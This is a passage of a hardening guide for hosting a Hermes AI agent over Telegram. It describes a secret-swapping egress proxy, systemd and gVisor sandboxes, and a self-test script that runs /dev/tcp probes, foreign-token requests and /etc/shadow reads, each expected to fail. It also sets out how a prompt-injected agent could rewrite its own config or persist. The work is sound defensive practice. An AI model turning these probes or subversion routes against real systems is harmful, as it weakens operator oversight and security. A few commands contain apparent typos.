To open TLS, iron-proxy mints on-the-fly leaf certificates from this CA, and the friend's instance must trust it. **The `nameConstraints` line is the single most important hardening in this section**: the CA may only issue certificates for `api.telegram.org` and `openrouter.ai`. Even if the CA key is stolen one day, it cannot be used to impersonate any other site. If you use another provider, replace `openrouter.ai` with its domain.

4.5 Generating Proxy Tokens

Generate two random proxy tokens per friend:

```
# Telegram: keep the real bot ID (public) so Hermes sees a well-formed token
infra# echo "123456789:${(openssl rand -base64 48 | tr -dc 'A-Za-z0-9' | head -c 35)}"
# LLM provider
infra# echo "sk-proxy-reza-${(openssl rand -hex 24)}"
BASH
```

The part of a bot token before the `:` is the bot's public ID, not a secret. Keeping it makes the proxy token look like a valid token, so libraries do not reject it. The part after the `:` is fully random.

4.6 Reza's Real Secrets

```
# /etc/iron-proxy/reza.env (root:iron-proxy, mode 0640)
TELEGRAM_BOT_TOKEN=123456789:AAH...real...
LLM_API_KEY=sk-or-...real...
BASH
```

```
infra# chown root:iron-proxy /etc/iron-proxy/reza.env && chmod 0640 /etc/iron-proxy/
reza.env
BASH
```

This is the only place Reza's real secrets exist: not on the host, not in Reza's instance, not in any other file.

4.7 Reza's Proxy Config

```
# /etc/iron-proxy/reza.yaml (root:iron-proxy, mode 0640)
dns:
  listen: "127.0.0.1:15301" # DNS mode unused; loopback only
  proxy_ip: "10.90.0.10"

proxy:
  http_listen: "127.0.0.1:18101" # unused; loopback only
  https_listen: "127.0.0.1:18401" # unused; loopback only
  tunnel_listen: "10.90.0.10:8081" # the ONLY listener reza can reach
  upstream_deny_cidrs:
    - "127.0.0.0/8"
    - "::1/128"
    - "169.254.0.0/16"
    - "fe80::/10"
    - "10.0.0.0/8"
    - "172.16.0.0/12"
    - "192.168.0.0/16"
    - "100.64.0.0/10"
    - "fc00::/7"
    - "::ffff:0:0/96"

tls:
  ca_cert: "/etc/iron-proxy/ca.crt"
  ca_key: "/etc/iron-proxy/ca.key"
  leaf_cert_expiry_hours: 24
YAML
```

```

transforms:
  - name: allowlist
    config:
      domains:
        - "api.telegram.org"
        - "openrouter.ai"

  - name: secrets
    config:
      secrets:
        - source:
            type: env
            var: TELEGRAM_BOT_TOKEN
            proxy_value: "123456789:REZA-PROXY-TOKEN-FROM-4.5"
            match_headers: []
            match_path: true
            require: true
            rules:
              - host: "api.telegram.org"

        - source:
            type: env
            var: LLM_API_KEY
            proxy_value: "sk-proxy-reza-FROM-4.5"
            match_headers: ["Authorization"]
            require: true
            rules:
              - host: "openrouter.ai"

log:
  level: "info"

```

Section	Security job
<code>tunnel_listen</code> on <code>10.90.0.10:8081</code>	The only reachable listener; all others are loopback only
<code>upstream_deny_cidrs</code>	The proxy never connects to the internal network, the host, or cloud metadata, even if DNS resolves an allowed domain there
<code>allowlist</code>	Only two domains; everything else gets a 403
<code>match_path: true</code> for Telegram	Telegram puts the token in the URL path (<code>/bot<TOKEN>/ ...</code>); iron-proxy has this option for exactly that
<code>require: true</code>	A request without Reza's proxy token, for example with the attacker's bot or key, is rejected
<code>leaf_cert_expiry_hours: 24</code>	Leaf certificates are short-lived

The exact key layout may differ slightly between versions; compare against the `iron-proxy.example.yaml` file of your version before running it ([iron-proxy repo](#)). `iron-proxy`'s built-in deny list only covers cloud metadata and loopback; we added the private networks as well, the same list the official Hermes integration uses ([Hermes iron-proxy docs](#)).

4.8 A Hardened systemd Service

A template unit that runs one instance per friend:

```
# /etc/systemd/system/iron-proxy@.service
[Unit]
Description=iron-proxy egress firewall for %i
After=network-online.target
Wants=network-online.target

[Service]
User=iron-proxy
Group=iron-proxy
EnvironmentFile=/etc/iron-proxy/%i.env
ExecStart=/usr/local/bin/iron-proxy -config /etc/iron-proxy/%i.yaml
Restart=on-failure
RestartSec=5

NoNewPrivileges=yes
CapabilityBoundingSet=
AmbientCapabilities=
ProtectSystem=strict
ProtectHome=yes
PrivateTmp=yes
PrivateDevices=yes
ProtectKernelTunables=yes
ProtectKernelModules=yes
ProtectKernelLogs=yes
ProtectControlGroups=yes
ProtectClock=yes
ProtectHostname=yes
RestrictSUIDSGID=yes
RestrictNamespaces=yes
RestrictRealtime=yes
LockPersonality=yes
MemoryDenyWriteExecute=yes
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX
SystemCallFilter=@system-service
SystemCallArchitectures=native
UMask=0077

[Install]
WantedBy=multi-user.target
```

INI

```
infra# systemctl daemon-reload
infra# systemctl enable --now iron-proxy@reza
infra# systemctl status iron-proxy@reza
infra# systemd-analyze security iron-proxy@reza    # score should be low
```

BASH

If an option is not supported inside the container, `systemctl status` shows a `226/NAMESPACE` error or similar; remove that one option. **Do not enable all the options in one go; check the service and its log after every change** ([DATAZONE](#)).

iron-proxy's `env` source is fixed at startup; to rotate, restart the service. If you want rotation without a restart, use the `file` source.

4.9 What Reaches Reza's Instance

Only two things: the CA's public certificate and the two proxy tokens.

```
host$ incus file pull infra/etc/iron-proxy/ca.crt ./hermes-egress-ca.crt
host$ incus file push ./hermes-egress-ca.crt hermes-reza/etc/ssl/certs/hermes-egress-ca.crt
--mode 0644
host$ rm ./hermes-egress-ca.crt
```

BASH

The CA key (`ca.key`) never leaves the infrastructure instance. The proxy tokens go into the Hermes `.env` file in layer 5.

11 Layer 5: Hardening Hermes Itself and the Final Lockdown

Hermes runs as an unprivileged user, inside a systemd sandbox, with only proxy tokens, one allowed Telegram user, and the minimum set of tools; then the config is locked, the network is locked, setuid programs are removed, and a snapshot is taken of the clean instance. Throughout this layer the instance is still on the install network; the lock is the last step.

5.1 Installing as the Unprivileged User

Since we disable `su` and `sudo` later, we log in without them from the start:

```
host$ HUID=$(incus exec hermes-reza -- id -u hermes)
host$ incus exec hermes-reza --user $HUID --group $HUID \
    --cwd /home/hermes --env HOME=/home/hermes -- bash

reza-hermes$ curl -fsSL https://hermes-agent.nousresearch.com/install.sh -o install.sh
reza-hermes$ less install.sh                # read it first, then run it
reza-hermes$ bash install.sh
reza-hermes$ export PATH=$HOME/.local/bin:$PATH
reza-hermes$ hermes --version
```

Hermes keeps its config in `~/.hermes/` and the `hermes` command in `~/.local/bin` (CometAPI Hermes guide). If the installer opens the setup wizard, exit it; we write the files by hand so you know exactly what is configured.

5.2 The .env File: Proxy Tokens Only

```
# ~/.hermes/.env
TELEGRAM_BOT_TOKEN=123456789:REZA-PROXY-TOKEN-FROM-4.5 # NOT the real token
TELEGRAM_ALLOWED_USERS=111111111                     # reza's numeric ID only
OPENROUTER_API_KEY=sk-proxy-reza-FROM-4.5            # NOT the real key
MESSAGING_CWD=/home/hermes/scratch
```

```
reza-hermes$ chmod 600 ~/.hermes/.env
```

Everything in this file is worthless outside Reza's proxy. If an attacker reads this entire file, they still cannot connect to Telegram or the model provider with it.

If no allowlist is set, Hermes rejects everyone; **never** set `GATEWAY_ALLOW_ALL_USERS` or `TELEGRAM_ALLOW_ALL_USERS` (Hermes security docs). Build the allowlist from numeric IDs, not usernames; usernames can be changed.

5.3 Hermes Config

```
# ~/.hermes/config.yaml
model:
  provider: openrouter
  default: PROVIDER/MODEL      # your model ID

terminal:
  backend: local               # temporary; switched to ssh + gVisor sandbox in layer 6

unauthorized_dm_behavior: ignore  # strangers get no reply at all

security:
  tirith_enabled: true
  tirith_fail_open: false      # no scanner = no command

command_allowlist: []
```

Setting	Default	Our value	Why
<code>unauthorized_dm_behavior</code>	<code>pair</code> (hands strangers a pairing code)	<code>ignore</code>	Strangers cannot even tell the bot is alive
<code>tirith_fail_open</code>	<code>true</code> (runs even without the scanner)	<code>false</code>	If the scanner fails, the command does not run
<code>command_allowlist</code>	—	Empty	"Always" approvals pile up here; review it monthly
<code>terminal.backend</code>	<code>local</code>	<code>local</code>	Temporary; moved to <code>ssh</code> and the gVisor sandbox in layer 6

Source for the defaults: [Hermes security docs](#).

Remember: approval of a dangerous command in Telegram comes back to the same chat, so your friend, or a prompt injection, can type "yes". **This approval is not a security control**; the real boundaries are layers 2 to 4 and 6.

5.4 Minimum Tools

```
reza-hermes$ hermes tools      # text UI; separate settings per platform
```

Telegram's tools default to the same set as the CLI ([Hermes toolsets reference](#)). In the Telegram section:

Tool	State	Why
browser and web extract	Off	The main route for prompt injection; the proxy rejects other domains anyway
cron (scheduling)	Off	Unsupervised execution
delegation and subagents	Off	Extra attack surface
MCP servers	Off	No credentials may live in this instance
Installing skills from public repositories	Forbidden	Skills run with Hermes' full privileges
terminal and code execution	Only if truly needed	Off for a friend who only wants to chat

Services that offer Hermes to untrusted users run it in a chat-only profile ([Sokosumi](#)). With the terminal off, most of the attack surface disappears.

5.5 Testing the Connection Through the Proxy (Still Before the Lock)

```
reza-hermes$ export HTTPS_PROXY=http://10.90.0.10:8081 HTTP_PROXY=http://10.90.0.10:8081 BASH
reza-hermes$ export SSL_CERT_FILE=/etc/ssl/certs/hermes-egress-ca.crt
reza-hermes$ hermes config check && hermes doctor
reza-hermes$ hermes chat -q "Reply with the single word CONNECTED."
```

If `CONNECTED` comes back, the model request went through the proxy, the proxy token was swapped for the real key there, and the reply returned. In the proxy's journal (`journalctl -u iron-proxy@reza`) you should see a line with `swapped` .

If the terminal is on for this friend, install tirith right now. tirith downloads itself from GitHub on first use ([Hermes security docs](#)). It cannot after the network is locked, and with `tirith_fail_open: false` every command would be rejected. The instance is still on the install network, so run one terminal command once without the proxy variables:

```
reza-hermes$ env -u HTTPS_PROXY -u HTTP_PROXY -u SSL_CERT_FILE \
    hermes chat -q "Run the command 'date' in the terminal and show the output." BASH
reza-hermes$ exit
```

5.6 The Hermes Service Inside a systemd Sandbox

Instead of the default user service, we build a fully confined system service:

```
# /etc/systemd/system/hermes.service (inside hermes-reza)
[Unit]
Description=Hermes gateway (reza)
After=network-online.target
Wants=network-online.target

[Service]
User=hermes
Group=hermes
WorkingDirectory=/home/hermes/scratch
ExecStart=/home/hermes/.local/bin/hermes gateway run
Restart=on-failure
RestartSec=10

Environment=HTTPS_PROXY=http://10.90.0.10:8081
Environment=HTTP_PROXY=http://10.90.0.10:8081
Environment=NO_PROXY=
Environment=SSL_CERT_FILE=/etc/ssl/certs/hermes-egress-ca.crt
Environment=REQUESTS_CA_BUNDLE=/etc/ssl/certs/hermes-egress-ca.crt
Environment=CURL_CA_BUNDLE=/etc/ssl/certs/hermes-egress-ca.crt
Environment=NODE_EXTRA_CA_CERTS=/etc/ssl/certs/hermes-egress-ca.crt

NoNewPrivileges=yes
CapabilityBoundingSet=
AmbientCapabilities=
ProtectSystem=strict
ReadWritePaths=/home/hermes
PrivateTmp=yes
PrivateDevices=yes
ProtectKernelTunables=yes
ProtectKernelModules=yes
ProtectKernelLogs=yes
ProtectControlGroups=yes
RestrictSUIDSGID=yes
RestrictNamespaces=yes
RestrictRealtime=yes
LockPersonality=yes
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX
SystemCallArchitectures=native
UMask=0077

[Install]
WantedBy=multi-user.target
```

```
host$ incus file push hermes.service hermes-reza/etc/systemd/system/hermes.service
host$ incus exec hermes-reza -- systemctl daemon-reload
host$ incus exec hermes-reza -- systemctl enable hermes
```

BASH

Section	Security job
<code>HTTPS_PROXY</code>	All Hermes HTTP traffic, Telegram and the model alike, goes through Reza's proxy; the same pattern the Hermes docs configure for an egress proxy on the gateway service (Hermes network isolation)
Empty <code>NO_PROXY</code>	No destination is exempt from the proxy; the layer-6 SSH connection does not use the HTTP proxy at all
<code>SSL_CERT_FILE</code> and its siblings pointing only at the proxy CA	Any TLS attempt that does not go through the proxy fails certificate validation
<code>ProtectSystem=strict</code> and <code>ReadWritePaths</code>	Hermes can only write in its own home; the rest of the system is read-only to it
<code>NoNewPrivileges</code> and <code>RestrictSUIDSGID</code>	No process in the Hermes tree can gain new privileges
<code>RestrictNamespaces</code>	The agent cannot create new namespaces; a common route for attacking the kernel

If one of these options is not supported inside the container, `systemctl status hermes` shows an error; remove that option and try again.

5.6.1 Locking the Config Against the Agent Itself

Hermes writes memory, sessions, and logs into `~/.hermes`, so that folder must be writable. But if the whole folder stays writable, a poisoned agent can **change its own config**: turn disabled tools back on, add the attacker's ID to `TELEGRAM_ALLOWED_USERS`, approve a pairing, or write a skill so it persists into the next run. So we make these paths read-only for the service, with two independent layers:

```
reza# cd /home/hermes/.hermes
reza# chown root:hermes config.yaml .env && chmod 0640 config.yaml .env
reza# mkdir -p pairing skills && chown -R root:hermes pairing skills && chmod -R g-w,o-rwx pairing skills
```

```
# /etc/systemd/system/hermes.service.d/readonly.conf
[Service]
ReadOnlyPaths=/home/hermes/.hermes/config.yaml /home/hermes/.hermes/.env
ReadOnlyPaths=/home/hermes/.hermes/pairing /home/hermes/.hermes/skills
ReadOnlyPaths=/home/hermes/.local
```

```
reza# systemctl daemon-reload
```

Path	If it stays writable
<code>config.yaml</code>	The agent turns disabled tools on or flips <code>tirith_fail_open</code> back
<code>.env</code>	The agent adds the attacker's ID to the allowed users
<code>pairing</code>	The agent approves a pairing for the attacker
<code>skills</code>	The agent writes code that gets loaded on the next run
<code>~/.local</code>	The agent tampers with the Hermes code itself

Root ownership blocks writes at the filesystem level and `ReadOnlyPaths` at the mount-namespace level; even if one is bypassed, the other holds. The cost is that Hermes can no longer create new skills by itself, and every config change happens only in a maintenance window via `incus exec`. That is exactly what we want: **you change the security config, not the agent.**

5.7 Removing setuid Programs

```
host$ incus exec hermes-reza -- bash
reza# find / -xdev \( -perm -4000 -o -perm -2000 \) -type f -print
reza# find / -xdev \( -perm -4000 -o -perm -2000 \) -type f -exec chmod u-s,g-s {} +
reza# exit
```

setuid programs (such as `su`, `passwd`, `mount`) run with their owner's privileges, and any bug in them is a route to root inside the instance. Hermes needs none of them, and your access is via `incus exec`. This layer is independent of `NoNewPrivileges` in the service: if someone ever runs code inside the instance outside the Hermes service, there is still no setuid route.

5.8 Network Lock and the Clean Snapshot

```
host$ incus stop hermes-reza
host$ incus config device override hermes-reza eth0 \
    network=br-reza ipv4.address=10.91.1.10 \
    security.mac_filtering=true security.ipv4_filtering=true
host$ incus start hermes-reza
host$ incus exec hermes-reza -- systemctl start hermes
host$ incus exec hermes-reza -- systemctl status hermes
```

From this moment Reza's instance is on its own bridge, has a static address, cannot spoof addresses, and its only reachable outside destination is `10.90.0.10:8081`. **You take the clean snapshot after layer 6**, because the backend and the SSH key are still being added there.

12 Layer 6: A Separate Execution Sandbox — Agent Commands Inside gVisor

No command the agent runs executes in the Hermes instance. Every command goes over SSH to a second instance (`sandbox-reza`) and runs there inside gVisor: with no network, no secrets, and a filesystem that is thrown away after every session. This layer closes two remaining weaknesses: commands running next to Hermes' own memory and config, and poisoned code having direct access to the whole host kernel on a server without KVM.

6.1 Why Layer 5 Was Not Enough

With the `local` backend, agent commands run as the same user that owns Hermes' memory, sessions, and proxy tokens. We made the config read-only, but memory and sessions must stay writable; so a poisoned command could still poison memory and persist. Hermes itself recommends a sandboxed backend for safer use, so the agent has no access to its own code, config, and keys ([Hermes repo](#)). The Hermes network isolation guide also says explicitly that network isolation does not replace a sandboxed backend, because with the `local` backend commands run in the same container ([Hermes network isolation](#)).

Why SSH and not the Docker backend: the Docker backend needs a Docker daemon; either on the host, where its socket equals root and it breaks Incus networking, or inside the instance, which needs nesting. Hermes' `ssh` backend is designed precisely for sandboxing and keeping the agent away from its own code ([Hermes tools & backends](#)), and it keeps dangerous-command checks switched on as well ([Hermes security docs](#)).

Why gVisor inside the sandbox: in a normal container about 340 system calls reach the host kernel directly. gVisor puts a separate user-space kernel (the Sentry) between the program and the host; an attacker first has to find a bug in the Sentry, then escape it using a limited set of system calls ([sandbox isolation](#)). gVisor also runs without Docker and without root, and the default systrap platform works on any kernel from 4.18 up without KVM ([gvisor-exec](#)). Running gVisor inside another container has precedent too; the Dangerzone project uses the same nested pattern ([Dangerzone](#)).

6.2 Creating the Sandbox Instance (Install Phase)

```
host$ incus init images:debian/13 sandbox-reza --profile default --profile hermes-friend BASH
host$ incus config set sandbox-reza limits.memory=1GiB
host$ incus start sandbox-reza
host$ incus exec sandbox-reza -- bash

sandbox# apt update && apt full-upgrade -y
sandbox# apt install -y openssh-server ca-certificates curl
```

The same hardened friend profile: unprivileged, isolated idmap, no nesting, with resource caps.

6.3 Installing gVisor with Checksum Verification

```

sandbox# ARCH=$(uname -m)
sandbox# URL=https://storage.googleapis.com/gvisor/releases/release/latest/${ARCH}
sandbox# cd /tmp && curl -fsSL0 ${URL}/runsc && curl -fsSL0 ${URL}/runsc.sha512
sandbox# sha512sum -c runsc.sha512 # must print OK
sandbox# install -m 0755 runsc /usr/local/bin/runsc && rm -f runsc runsc.sha512
sandbox# runsc --version

```

This is the manual install method from the official gVisor docs; the signed apt repository is the other option ([gVisor install docs](#)). `runsc` must be in a path every user can execute.

6.4 The agent User with a gVisor Login Shell

The `agent` user's login shell is a wrapper; every SSH session Hermes opens starts from scratch inside a fresh gVisor sandbox:

```

#!/bin/bash
# /usr/local/bin/gvisor-shell (root:root, mode 0755)
# every session of user "agent" runs inside a fresh gVisor sandbox
exec /usr/local/bin/runsc --rootless --network=none --ignore-cgroups --platform=sysrtrap \
do -- /bin/bash "$@"

```

```

sandbox# chmod 0755 /usr/local/bin/gvisor-shell
sandbox# echo /usr/local/bin/gvisor-shell >> /etc/shells
sandbox# useradd --create-home --shell /usr/local/bin/gvisor-shell agent

```

Option	Security job
<code>runsc do</code>	Mounts the instance filesystem read-only inside the sandbox and keeps writes in a temporary overlay (runsc do source); everything is discarded when the session ends
<code>--rootless</code>	<code>runsc</code> runs without root; the calling user is mapped to root inside the sandbox (gVisor rootless docs)
<code>--network=none</code>	Mandatory: in rootless mode the gVisor netstack is not supported and <code>runsc</code> silently switches to host networking; without this option, commands get access to the instance network
<code>--platform=sysrtrap</code>	System call interception without needing KVM
<code>--ignore-cgroups</code>	The sandbox inside an unprivileged container does not try to create cgroups; Incus enforces the resource caps

Critical test, before going on:

```
host$ AUID=$(incus exec sandbox-reza -- id -u agent)
host$ incus exec sandbox-reza --user $AUID --env HOME=/home/agent -- \
    /usr/local/bin/gvisor-shell -c 'uname -a; dmesg | head -3; touch /etc/x && echo
WRITE-OK'
```

BASH

The `dmesg` output must start with "Starting gVisor" and `uname` must show the gVisor kernel version, not the host kernel. If `runsc` fails inside the instance with a namespace or mount error, the unprivileged container policies are blocking the nested sandbox; in that case enable `security.nesting=true` **only for `sandbox-reza`**. That instance has no secrets and no exit, and gVisor compensates for the nesting weakness; never enable it for the Hermes or infrastructure instances.

6.5 Hardening SSH in the Sandbox

```
# /etc/ssh/sshd_config.d/99-sandbox.conf
ListenAddress 10.91.1.11
PermitRootLogin no
PasswordAuthentication no
KbdInteractiveAuthentication no
AuthenticationMethods publickey
AllowUsers agent
AllowTcpForwarding no
AllowAgentForwarding no
X11Forwarding no
PermitTunnel no
PermitUserEnvironment no
MaxSessions 4
```

BASH

The `sshd` service itself runs outside gVisor, but it is reachable only from this friend's Hermes instance and accepts only one key. After installation, remove this instance's `setuid` programs as well, as in section 5.7.

6.6 The SSH Key and Host Key Pinning

Create the key in the Hermes instance, as the `hermes` user, and give the sandbox only the public key:

```
host$ incus exec hermes-reza --user $HUID --group $HUID --env HOME=/home/hermes -- \
    ssh-keygen -t ed25519 -N "" -C hermes-reza -f /home/hermes/.ssh/sandbox_key
host$ PUB=$(incus exec hermes-reza -- cat /home/hermes/.ssh/sandbox_key.pub)
host$ incus exec sandbox-reza -- bash -c \
    "install -d -o root -g root -m 0755 /home/agent/.ssh && \
    echo 'restrict,pty $PUB' > /home/agent/.ssh/authorized_keys && \
    chown root:root /home/agent/.ssh/authorized_keys && chmod 0644 /home/agent/.ssh/
authorized_keys"
```

BASH

- `restrict` disables all forwarding (port, agent, X11) for this key, and `pty` gives back only the terminal.

- Root ownership of `authorized_keys` means the agent user, even outside gVisor, cannot add another key.

Take the sandbox's host key directly from the sandbox and pin it in the Hermes instance, so no first connection is ever accepted blindly:

```
host$ HK=$(incus exec sandbox-reza -- cat /etc/ssh/ssh_host_ed25519_key.pub | cut -d' ' -f1,2)
host$ incus exec hermes-reza -- bash -c \
    "echo '10.91.1.11 $HK' > /home/hermes/.ssh/known_hosts && \
    printf 'Host 10.91.1.11\n StrictHostKeyChecking yes\n IdentitiesOnly yes\n' > /home/
hermes/.ssh/config && \
    chown -R root:hermes /home/hermes/.ssh && chmod 0750 /home/hermes/.ssh && chmod 0640 /
home/hermes/.ssh/*"
```

And in the Hermes systemd sandbox, make the `.ssh` folder read-only too:

```
# /etc/systemd/system/hermes.service.d/readonly.conf (add this line)
ReadOnlyPaths=/home/hermes/.ssh
```

6.7 Locking the Sandbox Network

The sandbox sits on Reza's same bridge, with a static address and an ACL that allows **no** egress at all:

```
host$ incus network acl create acl-deny-all # deliberately no rules
host$ incus stop sandbox-reza
host$ incus config device override sandbox-reza eth0 \
    network=br-reza ipv4.address=10.91.1.11 \
    security.mac_filtering=true security.ipv4_filtering=true \
    security.acls=acl-deny-all \
    security.acls.default.egress.action=drop \
    security.acls.default.egress.logged=true \
    security.acls.default.ingress.action=allow
host$ incus start sandbox-reza
```

Because ACLs on a bridge are enforced only at the boundary between the bridge and the host, the SSH connection from `hermes-reza` to the sandbox, both on the same bridge, keeps working; but the sandbox reaches neither the proxy, nor the host, nor the internet. And inside the gVisor sandbox itself there is no network at all, because of `--network=none`. **Two independent no-network layers.**

6.8 Connecting Hermes to the Sandbox

```
# ~/.hermes/config.yaml (in hermes-reza; edit as root via incus exec)
terminal:
  backend: ssh
  ssh_host: "10.91.1.11"
  ssh_user: "agent"
  ssh_key: "~/.ssh/sandbox_key"
```

YAML

The `ssh_host`, `ssh_user`, and `ssh_key` keys are the ones the Hermes security docs list for the SSH backend ([Hermes security docs](#)). Then restart the Hermes service.

6.9 Tools You Must Prove Run in the Sandbox

The docs say explicitly that the Docker backend sends the terminal, file tools, and `execute_code` into the container ([Hermes tools & backends](#)); for the SSH backend only command execution is mentioned. **So until proven otherwise, assume the file tools and `execute_code` may run inside the Hermes instance.**

Tool	Default for Telegram	How to prove it runs in the sandbox
<code>terminal</code> and <code>process</code>	On, if your friend needs it	<code>uname -a</code> through the bot must show the gVisor kernel
File tools (<code>read_file</code> , <code>patch</code> , <code>write</code> and <code>search</code>)	Off	Ask the bot to create <code>/tmp/proof</code> with the file tool; enable them only if that file shows up in the sandbox and not in <code>hermes-reza</code>
<code>execute_code</code>	Off	The same test; code that prints <code>uname -a</code>

With the terminal inside the sandbox, your friend can still create and edit files (with `cat` , `sed` , and the like); only this time inside gVisor.

6.10 What This Layer Guarantees

The path a poisoned command must take to reach the host:

1. Find a bug in the gVisor Sentry;
2. Escape the Sentry using the limited set of allowed system calls;
3. And even after that, land in an unprivileged Incus container with an isolated idmap, with no secrets and no network.

And all along, the command has never seen Hermes' memory, config, or proxy tokens, because it was in a different instance. gVisor is not flawless either; for example, a recent bug let an unprivileged user inside the sandbox become root ([gVisor issue #13063](#)); but that root is inside the gVisor sandbox, and the layers beneath it are still in place. **If your server has KVM**, build `sandbox-reza` as a VM; then you also have a hardware boundary under gVisor.

6.11 Clean Snapshots of Both Instances

After all the tests in the Verification section pass:

```
host$ incus snapshot create hermes-reza clean --no-expiry
host$ incus snapshot create sandbox-reza clean --no-expiry
```

BASH

The `clean` snapshot is your rollback point during an incident; `--no-expiry` keeps the profile's seven-day expiry policy from deleting it. Now tell Reza to message the bot and to turn on two-step verification (cloud password) in his Telegram.

13 Verification: Attacking Your Own System

From inside Reza's instance, as root, do exactly what a successful attacker would do, and prove that none of it works. The tests run as root inside the instance, not as the hermes user, because the walls are enforced on the host and the proxy and must hold even if the attacker gets root inside the instance. Even the Hermes docs recommend a "this should fail" test after network isolation ([Hermes network isolation](#)).

1. Automated Test Script

```
#!/bin/bash
# /root/selftest.sh - run inside the friend's Hermes instance, as root
set -u
P=http://10.90.0.10:8081          # this friend's proxy
OTHER_PROXY_PORT=8082           # another friend's proxy port
NEIGHBOUR=10.91.2.10            # another friend's instance
GATEWAY=10.91.1.1               # this bridge's gateway (the host)
CA=/etc/ssl/certs/hermes-egress-ca.crt
source /home/hermes/.hermes/.env
FAILED=0
ok(){ echo "OK    $1"; }
bad(){ echo "FAIL $1"; FAILED=1; }

# dropped = the connect attempt hangs until timeout (exit 124)
blocked(){ timeout 5 bash -c "echo > /dev/tcp/$2/$3" 2>/dev/null; [ $? -eq 124 ] && ok "$1"
|| bad "$1"; }
code(){ curl -s -o /dev/null -w '%{http_code}' --max-time 20 --proxy "$P" --cacert "$CA"
"$@"; }
allowed(){ local d=$1; shift; g=$(code "$@"); [ "$g" = 200 ] && ok "$d" || bad "$d (got
$g)"; }
# rejected BY THE PROXY: 403, or 000 when the CONNECT itself is refused.
# 401/404 would mean the request reached upstream - that is a FAIL.
rejected(){ local d=$1; shift; g=$(code "$@"); case $g in 403|000) ok "$d"; *) bad "$d (got
$g)";; esac; }

echo "--- network layer ---"
blocked "direct internet by IP is dropped"      1.1.1.1      443
blocked "another friend's proxy is dropped"     10.90.0.10 $OTHER_PROXY_PORT
blocked "infra ssh port is dropped"             10.90.0.10 22
blocked "host via gateway is dropped"           $GATEWAY      22
blocked "neighbour friend is dropped"           $NEIGHBOUR 22
if getent hosts example.com >/dev/null; then bad "external DNS resolves"; else ok "external
DNS does not resolve"; fi

echo "--- proxy / secrets layer ---"
allowed "telegram works with own proxy token"   "https://api.telegram.org/bot$
{TELEGRAM_BOT_TOKEN}/getMe"
rejected "telegram refuses a foreign bot token" "https://api.telegram.org/
bot123456:FOREIGNTOKENxxxxxxxxxxxxxxxxxxxxxxxxxx/getMe"
```

```

allowed "llm works with own proxy token" -H "Authorization: Bearer ${OPENROUTER_API_KEY}" "https://openrouter.ai/api/v1/models"
rejected "llm refuses a request without proxy token" "https://openrouter.ai/api/v1/models"
rejected "non-allowlisted domain is refused" "https://example.com/"
rejected "proxy refuses internal targets" "https://10.90.0.1/"

[ $FAILED -eq 0 ] && echo "ALL TESTS PASSED" || echo "SOME TESTS FAILED – do not share access yet"

```

```

host$ incus file push selftest.sh hermes-reza/root/selftest.sh --mode 0700
host$ incus exec hermes-reza -- bash /root/selftest.sh

```

BASH

Why "hangs until timeout" and not "connection refused"? When the ACL drops a packet, the connection hangs until the deadline. A quick "connection refused" means the packet **reached the destination** and there simply was no open port there; that is, there is no network wall. So the `blocked` function only accepts exit code 124.

Why does a 401 count as a failure in the rejection tests? If a request with a foreign token gets a 401 from Telegram, it means the request **passed through the proxy and reached Telegram**; so `require: true` is not working, and the exfiltration channel through the attacker's bot is open. Only a 403 (rejected by the proxy) is acceptable.

2. What Each Failure Means

Failed test	Likely cause	Go back to
Direct internet, another friend's proxy, the host, a neighbour	The ACL is not applied to the bridge, or has more than one rule	Layer 3.4
External DNS	<code>raw.dnsmasq</code> is not set	Layer 3.3
Telegram or the model does not work with the own token	The proxy token differs between <code>.env</code> and <code>reza.yaml</code> , or the CA is wrong	Layers 4.5 to 4.9
A foreign token or a token-less request got 401 or 200	<code>require: true</code> is not applied	Layer 4.7
A non-allowed domain or an internal target was not rejected	The allowlist or <code>upstream_deny_cidrs</code> is wrong	Layer 4.7

If even one test shows `FAIL`, **do not give access to any friend** until you find and fix the cause. If the Telegram tests fail together and the proxy journal shows the tunnel connection itself being rejected by the `secrets` transform, check how `require` behaves in tunnel mode in the docs for your version ([iron-proxy docs](#)).

3. Proving the Secrets Inside the Instance Are Worthless

From the **host** (which has internet access), hand Reza's proxy token directly to Telegram:

```
host$ curl -s "https://api.telegram.org/bot<REZA_PROXY_TOKEN>/getMe"
# expected: {"ok":false,"error_code":401,"description":"Unauthorized"}
BASH
```

That means even if an attacker steals Reza's entire `.env` file, they have nothing outside the proxy. For extra assurance, search the instance's whole filesystem for a short fragment of the real token; it must return nothing:

```
host$ incus exec hermes-reza -- grep -rIF "FRAGMENT-OF-REAL-TOKEN" / \
--exclude-dir=proc --exclude-dir=sys 2>/dev/null | head
BASH
```

4. Privilege and Resource Tests

```
host$ incus exec hermes-reza -- cat /sys/fs/cgroup/memory.max          # 2147483648
host$ incus exec hermes-reza -- df -h /                               # about 10G
host$ incus exec hermes-reza -- find / -xdev -perm -4000 -type f      # empty
host$ incus exec hermes-reza -- systemctl show hermes -p NoNewPrivileges # yes
host$ incus exec hermes-reza --user $HUID -- cat /etc/shadow          # Permission denied
host$ incus exec hermes-reza -- systemd-analyze security hermes      # low score
BASH
```

And from layer 2: the instance's process on the host must run with a large numeric UID, not `root`.

5. Real Tests from Telegram

Action	Expected result
Message Reza's bot from an account outside the allowlist	No reply at all , not even a pairing code
Try to add Reza's bot to a group	Telegram does not allow it (<code>/setjoingroups</code>)
Reza asks it to "read the contents of <code>https://example.com</code> "	Fails; the proxy journal records the rejection
If the terminal is on: Reza asks it to run <code>curl https://example.com</code>	Fails
If the terminal is on: Reza asks it to show the contents of <code>.env</code>	Error; the command runs in the sandbox, and that file does not exist there

6. Execution Sandbox Tests (Layer 6)

Test	How	Expected result
Agent commands run inside gVisor	Ask the bot to run <code>uname -a</code> and <code>dmesg</code> (the first few lines are enough)	The gVisor kernel version and "Starting gVisor", not the host kernel
Agent commands do not run in the Hermes instance	Ask the bot to run <code>ls /home/hermes/.hermes</code>	Error; that path does not exist in the sandbox
The sandbox has no network	Ask the bot to run <code>curl -sS --max-time 5 http://10.90.0.10:8081</code>	Fails; there is no interface except loopback
Writes are temporary	Ask the bot to create <code>/tmp/x</code> , then restart Hermes and ask again	The file no longer exists
The sandbox instance itself has no exit	<code>incus exec sandbox-reza -- timeout 5 bash -c 'echo > /dev/tcp/10.90.0.10/8081'</code>	Hangs until timeout (exit code 124)
The SSH key only reaches its own sandbox	<code>incus exec hermes-reza --user \$HUID -- ssh -i /home/hermes/.ssh/sandbox_key agent@10.91.2.11 true</code>	Fails
